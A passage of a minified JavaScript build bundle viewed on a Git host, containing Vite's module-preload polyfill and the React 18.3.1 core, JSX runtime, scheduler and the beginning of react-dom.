Files
Zerin-2/dist/assets/index-GSEJCIsq.js
T
2026-08-27 11:03:10 -06:00

441 lines
901 KiB
JavaScript
Executable File
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
var qS=Object.defineProperty;var YS=(e,t,n)=>t in e?qS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var vf=(e,t,n)=>YS(e,typeof t!="symbol"?t+"":t,n);function GS(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const i in r)if(i!=="default"&&!(i in e)){const a=Object.getOwnPropertyDescriptor(r,i);a&&Object.defineProperty(e,i,a.get?a:{enumerable:!0,get:()=>r[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function Lr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var I2={exports:{}},Ru={},D2={exports:{}},je={};/**
* @license React
* react.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var Wo=Symbol.for("react.element"),XS=Symbol.for("react.portal"),ZS=Symbol.for("react.fragment"),QS=Symbol.for("react.strict_mode"),JS=Symbol.for("react.profiler"),ez=Symbol.for("react.provider"),tz=Symbol.for("react.context"),nz=Symbol.for("react.forward_ref"),rz=Symbol.for("react.suspense"),iz=Symbol.for("react.memo"),az=Symbol.for("react.lazy"),vv=Symbol.iterator;function sz(e){return e===null||typeof e!="object"?null:(e=vv&&e[vv]||e["@@iterator"],typeof e=="function"?e:null)}var R2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},$2=Object.assign,B2={};function rs(e,t,n){this.props=e,this.context=t,this.refs=B2,this.updater=n||R2}rs.prototype.isReactComponent={};rs.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};rs.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function F2(){}F2.prototype=rs.prototype;function vh(e,t,n){this.props=e,this.context=t,this.refs=B2,this.updater=n||R2}var gh=vh.prototype=new F2;gh.constructor=vh;$2(gh,rs.prototype);gh.isPureReactComponent=!0;var gv=Array.isArray,W2=Object.prototype.hasOwnProperty,yh={current:null},U2={key:!0,ref:!0,__self:!0,__source:!0};function V2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)W2.call(t,r)&&!U2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1<l){for(var c=Array(l),u=0;u<l;u++)c[u]=arguments[u+2];i.children=c}if(e&&e.defaultProps)for(r in l=e.defaultProps,l)i[r]===void 0&&(i[r]=l[r]);return{$$typeof:Wo,type:e,key:a,ref:o,props:i,_owner:yh.current}}function oz(e,t){return{$$typeof:Wo,type:e.type,key:t,ref:e.ref,props:e.props,_owner:e._owner}}function bh(e){return typeof e=="object"&&e!==null&&e.$$typeof===Wo}function lz(e){var t={"=":"=0",":":"=2"};return"$"+e.replace(/[=:]/g,function(n){return t[n]})}var yv=/\/+/g;function gf(e,t){return typeof e=="object"&&e!==null&&e.key!=null?lz(""+e.key):t.toString(36)}function Jl(e,t,n,r,i){var a=typeof e;(a==="undefined"||a==="boolean")&&(e=null);var o=!1;if(e===null)o=!0;else switch(a){case"string":case"number":o=!0;break;case"object":switch(e.$$typeof){case Wo:case XS:o=!0}}if(o)return o=e,i=i(o),e=r===""?"."+gf(o,0):r,gv(i)?(n="",e!=null&&(n=e.replace(yv,"$&/")+"/"),Jl(i,t,n,"",function(u){return u})):i!=null&&(bh(i)&&(i=oz(i,n+(!i.key||o&&o.key===i.key?"":(""+i.key).replace(yv,"$&/")+"/")+e)),t.push(i)),1;if(o=0,r=r===""?".":r+":",gv(e))for(var l=0;l<e.length;l++){a=e[l];var c=r+gf(a,l);o+=Jl(a,t,n,c,i)}else if(c=sz(e),typeof c=="function")for(e=c.call(e),l=0;!(a=e.next()).done;)a=a.value,c=r+gf(a,l++),o+=Jl(a,t,n,c,i);else if(a==="object")throw t=String(e),Error("Objects are not valid as a React child (found: "+(t==="[object Object]"?"object with keys {"+Object.keys(e).join(", ")+"}":t)+"). If you meant to render a collection of children, use an array instead.");return o}function ml(e,t,n){if(e==null)return e;var r=[],i=0;return Jl(e,r,"","",function(a){return t.call(n,a,i++)}),r}function cz(e){if(e._status===-1){var t=e._result;t=t(),t.then(function(n){(e._status===0||e._status===-1)&&(e._status=1,e._result=n)},function(n){(e._status===0||e._status===-1)&&(e._status=2,e._result=n)}),e._status===-1&&(e._status=0,e._result=t)}if(e._status===1)return e._result.default;throw e._result}var Rt={current:null},ec={transition:null},uz={ReactCurrentDispatcher:Rt,ReactCurrentBatchConfig:ec,ReactCurrentOwner:yh};function H2(){throw Error("act(...) is not supported in production builds of React.")}je.Children={map:ml,forEach:function(e,t,n){ml(e,function(){t.apply(this,arguments)},n)},count:function(e){var t=0;return ml(e,function(){t++}),t},toArray:function(e){return ml(e,function(t){return t})||[]},only:function(e){if(!bh(e))throw Error("React.Children.only expected to receive a single React element child.");return e}};je.Component=rs;je.Fragment=ZS;je.Profiler=JS;je.PureComponent=vh;je.StrictMode=QS;je.Suspense=rz;je.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=uz;je.act=H2;je.cloneElement=function(e,t,n){if(e==null)throw Error("React.cloneElement(...): The argument must be a React element, but you passed "+e+".");var r=$2({},e.props),i=e.key,a=e.ref,o=e._owner;if(t!=null){if(t.ref!==void 0&&(a=t.ref,o=yh.current),t.key!==void 0&&(i=""+t.key),e.type&&e.type.defaultProps)var l=e.type.defaultProps;for(c in t)W2.call(t,c)&&!U2.hasOwnProperty(c)&&(r[c]=t[c]===void 0&&l!==void 0?l[c]:t[c])}var c=arguments.length-2;if(c===1)r.children=n;else if(1<c){l=Array(c);for(var u=0;u<c;u++)l[u]=arguments[u+2];r.children=l}return{$$typeof:Wo,type:e.type,key:i,ref:a,props:r,_owner:o}};je.createContext=function(e){return e={$$typeof:tz,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},e.Provider={$$typeof:ez,_context:e},e.Consumer=e};je.createElement=V2;je.createFactory=function(e){var t=V2.bind(null,e);return t.type=e,t};je.createRef=function(){return{current:null}};je.forwardRef=function(e){return{$$typeof:nz,render:e}};je.isValidElement=bh;je.lazy=function(e){return{$$typeof:az,_payload:{_status:-1,_result:e},_init:cz}};je.memo=function(e,t){return{$$typeof:iz,type:e,compare:t===void 0?null:t}};je.startTransition=function(e){var t=ec.transition;ec.transition={};try{e()}finally{ec.transition=t}};je.unstable_act=H2;je.useCallback=function(e,t){return Rt.current.useCallback(e,t)};je.useContext=function(e){return Rt.current.useContext(e)};je.useDebugValue=function(){};je.useDeferredValue=function(e){return Rt.current.useDeferredValue(e)};je.useEffect=function(e,t){return Rt.current.useEffect(e,t)};je.useId=function(){return Rt.current.useId()};je.useImperativeHandle=function(e,t,n){return Rt.current.useImperativeHandle(e,t,n)};je.useInsertionEffect=function(e,t){return Rt.current.useInsertionEffect(e,t)};je.useLayoutEffect=function(e,t){return Rt.current.useLayoutEffect(e,t)};je.useMemo=function(e,t){return Rt.current.useMemo(e,t)};je.useReducer=function(e,t,n){return Rt.current.useReducer(e,t,n)};je.useRef=function(e){return Rt.current.useRef(e)};je.useState=function(e){return Rt.current.useState(e)};je.useSyncExternalStore=function(e,t,n){return Rt.current.useSyncExternalStore(e,t,n)};je.useTransition=function(){return Rt.current.useTransition()};je.version="18.3.1";D2.exports=je;var p=D2.exports;const wh=Lr(p),K2=GS({__proto__:null,default:wh},[p]);/**
* @license React
* react-jsx-runtime.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var dz=p,fz=Symbol.for("react.element"),pz=Symbol.for("react.fragment"),mz=Object.prototype.hasOwnProperty,hz=dz.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,xz={key:!0,ref:!0,__self:!0,__source:!0};function q2(e,t,n){var r,i={},a=null,o=null;n!==void 0&&(a=""+n),t.key!==void 0&&(a=""+t.key),t.ref!==void 0&&(o=t.ref);for(r in t)mz.call(t,r)&&!xz.hasOwnProperty(r)&&(i[r]=t[r]);if(e&&e.defaultProps)for(r in t=e.defaultProps,t)i[r]===void 0&&(i[r]=t[r]);return{$$typeof:fz,type:e,key:a,ref:o,props:i,_owner:hz.current}}Ru.Fragment=pz;Ru.jsx=q2;Ru.jsxs=q2;I2.exports=Ru;var s=I2.exports,Np={},Y2={exports:{}},un={},G2={exports:{}},X2={};/**
* @license React
* scheduler.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/(function(e){function t(R,W){var $=R.length;R.push(W);e:for(;0<$;){var H=$-1>>>1,X=R[H];if(0<i(X,W))R[H]=W,R[$]=X,$=H;else break e}}function n(R){return R.length===0?null:R[0]}function r(R){if(R.length===0)return null;var W=R[0],$=R.pop();if($!==W){R[0]=$;e:for(var H=0,X=R.length,se=X>>>1;H<se;){var ue=2*(H+1)-1,ge=R[ue],xe=ue+1,Y=R[xe];if(0>i(ge,$))xe<X&&0>i(Y,ge)?(R[H]=Y,R[xe]=$,H=xe):(R[H]=ge,R[ue]=$,H=ue);else if(xe<X&&0>i(Y,$))R[H]=Y,R[xe]=$,H=xe;else break e}}return W}function i(R,W){var $=R.sortIndex-W.sortIndex;return $!==0?$:R.id-W.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(R){for(var W=n(u);W!==null;){if(W.callback===null)r(u);else if(W.startTime<=R)r(u),W.sortIndex=W.expirationTime,t(c,W);else break;W=n(u)}}function j(R){if(g=!1,w(R),!x)if(n(c)!==null)x=!0,M(k);else{var W=n(u);W!==null&&F(j,W.startTime-R)}}function k(R,W){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var $=m;try{for(w(W),f=n(c);f!==null&&(!(f.expirationTime>W)||R&&!O());){var H=f.callback;if(typeof H=="function"){f.callback=null,m=f.priorityLevel;var X=H(f.expirationTime<=W);W=e.unstable_now(),typeof X=="function"?f.callback=X:f===n(c)&&r(c),w(W)}else r(c);f=n(c)}if(f!==null)var se=!0;else{var ue=n(u);ue!==null&&F(j,ue.startTime-W),se=!1}return se}finally{f=null,m=$,h=!1}}var S=!1,N=null,z=-1,_=5,A=-1;function O(){return!(e.unstable_now()-A<_)}function P(){if(N!==null){var R=e.unstable_now();A=R;var W=!0;try{W=N(!0,R)}finally{W?I():(S=!1,N=null)}}else S=!1}var I;if(typeof b=="function")I=function(){b(P)};else if(typeof MessageChannel<"u"){var U=new MessageChannel,D=U.port2;U.port1.onmessage=P,I=function(){D.postMessage(null)}}else I=function(){y(P,0)};function M(R){N=R,S||(S=!0,I())}function F(R,W){z=y(function(){R(e.unstable_now())},W)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(R){R.callback=null},e.unstable_continueExecution=function(){x||h||(x=!0,M(k))},e.unstable_forceFrameRate=function(R){0>R||125<R?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):_=0<R?Math.floor(1e3/R):5},e.unstable_getCurrentPriorityLevel=function(){return m},e.unstable_getFirstCallbackNode=function(){return n(c)},e.unstable_next=function(R){switch(m){case 1:case 2:case 3:var W=3;break;default:W=m}var $=m;m=W;try{return R()}finally{m=$}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function(R,W){switch(R){case 1:case 2:case 3:case 4:case 5:break;default:R=3}var $=m;m=R;try{return W()}finally{m=$}},e.unstable_scheduleCallback=function(R,W,$){var H=e.unstable_now();switch(typeof $=="object"&&$!==null?($=$.delay,$=typeof $=="number"&&0<$?H+$:H):$=H,R){case 1:var X=-1;break;case 2:X=250;break;case 5:X=1073741823;break;case 4:X=1e4;break;default:X=5e3}return X=$+X,R={id:d++,callback:W,priorityLevel:R,startTime:$,expirationTime:X,sortIndex:-1},$>H?(R.sortIndex=$,t(u,R),n(c)===null&&R===n(u)&&(g?(v(z),z=-1):g=!0,F(j,$-H))):(R.sortIndex=X,t(c,R),x||h||(x=!0,M(k))),R},e.unstable_shouldYield=O,e.unstable_wrapCallback=function(R){var W=m;return function(){var $=m;m=W;try{return R.apply(this,arguments)}finally{m=$}}}})(X2);G2.exports=X2;var vz=G2.exports;/**
* @license React
* react-dom.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var gz=p,ln=vz;function Q(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var Z2=new Set,ro={};function sa(e,t){Wa(e,t),Wa(e+"Capture",t)}function Wa(e,t){for(ro[e]=t,e=0;e<t.length;e++)Z2.add(t[e])}var kr=!(typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Sp=Object.prototype.hasOwnProperty,yz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,bv={},wv={};function bz(e){return Sp.call(wv,e)?!0:Sp.call(bv,e)?!1:yz.test(e)?wv[e]=!0:(bv[e]=!0,!1)}function wz(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function jz(e,t,n,r){if(t===null||typeof t>"u"||wz(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function $t(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var Ct={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Ct[e]=new $t(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Ct[t]=new $t(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Ct[e]=new $t(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Ct[e]=new $t(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Ct[e]=new $t(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Ct[e]=new $t(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Ct[e]=new $t(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Ct[e]=new $t(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Ct[e]=new $t(e,5,!1,e.toLowerCase(),null,!1,!1)});var jh=/[\-:]([a-z])/g;function kh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new $t(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new $t(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new $t(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Ct[e]=new $t(e,1,!1,e.toLowerCase(),null,!1,!1)});Ct.xlinkHref=new $t("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Ct[e]=new $t(e,1,!1,e.toLowerCase(),null,!0,!0)});function Nh(e,t,n,r){var i=Ct.hasOwnProperty(t)?Ct[t]:null;(i!==null?i.type!==0:r||!(2<t.length)||t[0]!=="o"&&t[0]!=="O"||t[1]!=="n"&&t[1]!=="N")&&(jz(t,n,i,r)&&(n=null),r||i===null?bz(t)&&(n===null?e.removeAttribute(t):e.setAttribute(t,""+n)):i.mustUseProperty?e[i.propertyName]=n===null?i.type===3?!1:"":n:(t=i.attributeName,r=i.attributeNamespace,n===null?e.removeAttribute(t):(i=i.type,n=i===3||i===4&&n===!0?"":""+n,r?e.setAttributeNS(r,t,n):e.setAttribute(t,n))))}var Ir=gz.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,hl=Symbol.for("react.element"),ga=Symbol.for("react.portal"),ya=Symbol.for("react.fragment"),Sh=Symbol.for("react.strict_mode"),zp=Symbol.for("react.profiler"),Q2=Symbol.for("react.provider"),J2=Symbol.for("react.context"),zh=Symbol.for("react.forward_ref"),Cp=Symbol.for("react.suspense"),Pp=Symbol.for("react.suspense_list"),Ch=Symbol.for("react.memo"),Kr=Symbol.for("react.lazy"),ew=Symbol.for("react.offscreen"),jv=Symbol.iterator;function ws(e){return e===null||typeof e!="object"?null:(e=jv&&e[jv]||e["@@iterator"],typeof e=="function"?e:null)}var Ge=Object.assign,yf;function Fs(e){if(yf===void 0)try{throw Error()}catch(n){var t=n.stack.trim().match(/\n( *(at )?)/);yf=t&&t[1]||""}return`
`+yf+e}var bf=!1;function wf(e,t){if(!e||bf)return"";bf=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(t)if(t=function(){throw Error()},Object.defineProperty(t.prototype,"props",{set:function(){throw Error()}}),typeof Reflect=="object"&&Reflect.construct){try{Reflect.construct(t,[])}catch(u){var r=u}Reflect.construct(e,[],t)}else{try{t.call()}catch(u){r=u}e.call(t.prototype)}else{try{throw Error()}catch(u){r=u}e()}}catch(u){if(u&&r&&typeof u.stack=="string"){for(var i=u.stack.split(`
`),a=r.stack.split(`
`),o=i.length-1,l=a.length-1;1<=o&&0<=l&&i[o]!==a[l];)l--;for(;1<=o&&0<=l;o--,l--)if(i[o]!==a[l]){if(o!==1||l!==1)do if(o--,l--,0>l||i[o]!==a[l]){var c=`
`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("<anonymous>")&&(c=c.replace("<anonymous>",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{bf=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Fs(e):""}function kz(e){switch(e.tag){case 5:return Fs(e.type);case 16:return Fs("Lazy");case 13:return Fs("Suspense");case 19:return Fs("SuspenseList");case 0:case 2:case 15:return e=wf(e.type,!1),e;case 11:return e=wf(e.type.render,!1),e;case 1:return e=wf(e.type,!0),e;default:return""}}function Ep(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case ya:return"Fragment";case ga:return"Portal";case zp:return"Profiler";case Sh:return"StrictMode";case Cp:return"Suspense";case Pp:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case J2:return(e.displayName||"Context")+".Consumer";case Q2:return(e._context.displayName||"Context")+".Provider";case zh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Ch:return t=e.displayName||null,t!==null?t:Ep(e.type)||"Memo";case Kr:t=e._payload,e=e._init;try{return Ep(e(t))}catch{}}return null}function Nz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ep(t);case 8:return t===Sh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function mi(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function tw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function Sz(e){var t=tw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function xl(e){e._valueTracker||(e._valueTracker=Sz(e))}function nw(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=tw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function gc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Ap(e,t){var n=t.checked;return Ge({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function kv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=mi(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function rw(e,t){t=t.checked,t!=null&&Nh(e,"checked",t,!1)}function _p(e,t){rw(e,t);var n=mi(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Op(e,t.type,n):t.hasOwnProperty("defaultValue")&&Op(e,t.type,mi(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Nv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Op(e,t,n){(t!=="number"||gc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Ws=Array.isArray;function Ta(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i<n.length;i++)t["$"+n[i]]=!0;for(n=0;n<e.length;n++)i=t.hasOwnProperty("$"+e[n].value),e[n].selected!==i&&(e[n].selected=i),i&&r&&(e[n].defaultSelected=!0)}else{for(n=""+mi(n),t=null,i=0;i<e.length;i++){if(e[i].value===n){e[i].selected=!0,r&&(e[i].defaultSelected=!0);return}t!==null||e[i].disabled||(t=e[i])}t!==null&&(t.selected=!0)}}function Tp(e,t){if(t.dangerouslySetInnerHTML!=null)throw Error(Q(91));return Ge({},t,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function Sv(e,t){var n=t.value;if(n==null){if(n=t.children,t=t.defaultValue,n!=null){if(t!=null)throw Error(Q(92));if(Ws(n)){if(1<n.length)throw Error(Q(93));n=n[0]}t=n}t==null&&(t=""),n=t}e._wrapperState={initialValue:mi(n)}}function iw(e,t){var n=mi(t.value),r=mi(t.defaultValue);n!=null&&(n=""+n,n!==e.value&&(e.value=n),t.defaultValue==null&&e.defaultValue!==n&&(e.defaultValue=n)),r!=null&&(e.defaultValue=""+r)}function zv(e){var t=e.textContent;t===e._wrapperState.initialValue&&t!==""&&t!==null&&(e.value=t)}function aw(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function Mp(e,t){return e==null||e==="http://www.w3.org/1999/xhtml"?aw(t):e==="http://www.w3.org/2000/svg"&&t==="foreignObject"?"http://www.w3.org/1999/xhtml":e}var vl,sw=function(e){return typeof MSApp<"u"&&MSApp.execUnsafeLocalFunction?function(t,n,r,i){MSApp.execUnsafeLocalFunction(function(){return e(t,n,r,i)})}:e}(function(e,t){if(e.namespaceURI!=="http://www.w3.org/2000/svg"||"innerHTML"in e)e.innerHTML=t;else{for(vl=vl||document.createElement("div"),vl.innerHTML="<svg>"+t.valueOf().toString()+"</svg>",t=vl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function io(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Ys={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},zz=["Webkit","ms","Moz","O"];Object.keys(Ys).forEach(function(e){zz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Ys[t]=Ys[e]})});function ow(e,t,n){return t==null||typeof 